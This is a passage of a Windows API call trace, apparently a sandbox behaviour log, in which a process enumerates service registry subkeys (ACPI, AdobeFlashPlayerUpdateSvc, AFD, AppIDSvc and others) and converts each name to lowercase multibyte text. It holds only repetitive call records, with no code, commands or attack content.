lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.752] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.752] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0223.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.752] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.753] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0223.753] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.753] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.754] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0223.754] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.754] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.755] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.755] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.755] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.755] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0223.755] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.755] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.756] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.756] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.756] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.756] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.756] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0223.756] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.757] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.757] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.757] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0223.757] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 